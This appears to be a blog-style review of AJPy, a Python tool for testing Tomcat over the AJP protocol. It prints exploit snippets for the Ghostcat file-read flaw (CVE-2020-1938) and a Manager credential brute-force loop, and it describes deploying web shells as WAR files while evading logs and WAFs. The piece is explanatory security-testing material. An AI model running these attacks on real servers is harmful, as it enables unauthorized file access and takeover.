AJPy: Weaponizing the Apache JServ Protocol for Tomcat Security Testing
Hook
Port 8009 doesn't speak HTTP—it speaks AJP, a binary protocol that can read any file from your Tomcat application without touching your web server's access logs. Here's how security researchers exploit it.
Context
Tomcat has always offered two ways to receive requests: the standard HTTP connector on port 8080, and the Apache JServ Protocol (AJP) connector on port 8009. AJP was designed as a wire protocol for fronting Tomcat with Apache httpd, allowing the web server to forward requests to the application server over a fast binary protocol rather than HTTP. This architecture became ubiquitous in enterprise Java deployments where Apache handled static content and SSL termination while Tomcat processed servlets and JSPs.
The problem? AJP connectors were often configured with minimal security considerations. They listened on all interfaces rather than localhost, lacked authentication, and trusted whatever requests came through—because administrators assumed they'd only receive traffic from the front-end Apache server. This trust model collapsed in 2020 when CVE-2020-1938 ("Ghostcat") revealed that attackers could craft AJP packets to read arbitrary files from web applications, including WEB-INF/web.xml and other supposedly protected resources. AJPy emerged as one of the first practical exploitation tools, implementing the AJP13 protocol from scratch in Python to give penetration testers a lightweight weapon for assessing Tomcat security.
Technical Insight
AJPy's core innovation is its raw implementation of the AJP13 binary protocol. Unlike tools that rely on HTTP libraries, it constructs packets at the byte level, giving complete control over what gets sent to Tomcat. The protocol itself is deceptively simple: messages start with the magic bytes 0x12 0x34 (for requests to the server) or 0x41 0x42 ('AB' for responses), followed by a payload length and message type. Here's how AJPy constructs a basic forward request:
def make_forward_request(method, uri, headers):
# AJP13 Forward Request (message type 2)
msg = bytearray([0x02])
# HTTP method as byte code (GET=2, POST=4)
msg.append(method_codes[method])
# Protocol, URI, remote address
msg.extend(encode_string('HTTP/1.1'))
msg.extend(encode_string(uri))
msg.extend(encode_string('127.0.0.1'))
msg.extend(encode_string('127.0.0.1'))
msg.extend(encode_string('localhost'))
msg.extend(struct.pack('>H', 80)) # server port
# Headers with special AJP encoding
msg.extend(encode_headers(headers))
# Wrap in packet framing
return b'\x12\x34' + struct.pack('>H', len(msg)) + msg
The Ghostcat exploit leverages a critical insight: Tomcat's AJP connector allows clients to specify request attributes that override internal security decisions. By injecting the javax.servlet.include.request_uri attribute with a path like /WEB-INF/web.xml, an attacker tricks Tomcat into treating the request as an internal include rather than an external access. This bypasses the security constraints that normally prevent direct access to WEB-INF:
def exploit_ghostcat(target, port, file_path):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target, port))
# Craft forward request with malicious attributes
attributes = {
'req_attribute': [
('javax.servlet.include.request_uri', '/'),
('javax.servlet.include.path_info', file_path),
('javax.servlet.include.servlet_path', '/')
]
}
packet = make_forward_request_with_attributes('GET', '/', {}, attributes)
sock.send(packet)
# Parse AJP response packets
response = parse_ajp_response(sock)
return extract_body(response)
What makes this particularly dangerous is that AJP operates below the application layer. Your WAF never sees the request. Your application's security filters don't get invoked. The access doesn't appear in standard HTTP logs. You're communicating directly with Tomcat's servlet engine, bypassing every security control you thought was protecting your application.
AJPy also implements Tomcat Manager operations through AJP, which is fascinating from an architectural perspective. Normally you'd access the Manager application via HTTP with Basic authentication, but AJPy can send the exact same requests through the AJP connector. This means if an AJP port is exposed, credential brute-forcing becomes trivial:
for username, password in credentials:
auth_header = base64.b64encode(f'{username}:{password}'.encode())
headers = {'authorization': f'Basic {auth_header.decode()}'}
packet = make_forward_request('GET', '/manager/html', headers)
response = send_ajp_packet(target, 8009, packet)
if '200' in response:
print(f'Valid credentials: {username}:{password}')
break
Once authenticated, AJPy can deploy WAR files by constructing multipart/form-data POST requests through AJP, essentially giving attackers a web shell deployment mechanism that never touches port 80 or 443. The tool encodes the WAR file directly into AJP body chunks, maintaining the protocol's length-prefixed packet structure while transmitting potentially megabytes of payload data.
Gotcha
AJPy's biggest limitation is its abandonment. The last commit was in 2020, shortly after CVE-2020-1938 made headlines, and it shows. Error handling is practically nonexistent—connection failures produce cryptic stack traces, and malformed responses can crash the entire script. More critically, the tool assumes Tomcat's AJP connector is completely unauthenticated. Modern Tomcat versions (8.5.51+, 9.0.31+, and 10.0.0-M1+) introduced the secretRequired attribute for AJP connectors, requiring a shared secret for all connections. AJPy has no support for this authentication mechanism, rendering it useless against properly patched Tomcat instances.
The protocol implementation is also brittle. AJPy doesn't handle edge cases like chunked response bodies correctly, can't deal with AJP connection reuse, and has no concept of timeouts beyond Python's default socket behavior. If you're testing a Tomcat instance behind a load balancer or with non-standard AJP configurations, expect failures. The WAR deployment feature is particularly unreliable—it works against default Tomcat Manager configurations but fails silently when custom security realms or authentication mechanisms are in place. There's also zero consideration for stealth or evasion; the tool sends packets as fast as Python can generate them, making brute-force attempts trivially detectable.
Verdict
Use if: You're conducting security assessments against legacy Tomcat installations (pre-2020 patches) where you've discovered exposed AJP connectors, need a quick proof-of-concept for CVE-2020-1938, or want to understand AJP protocol internals by reading straightforward Python code without framework abstractions. It's genuinely useful as a learning tool and for testing older systems that haven't been patched.
Skip if: You need reliability in production penetration tests, are targeting modern Tomcat versions with secretRequired enabled, require integration with broader security testing workflows, or need any form of error recovery or sophisticated evasion. For current security work, you're better off with Metasploit's AJP modules or writing custom exploits based on AJPy's code but with modern Python practices and proper error handling. The tool's value is primarily historical and educational at this point.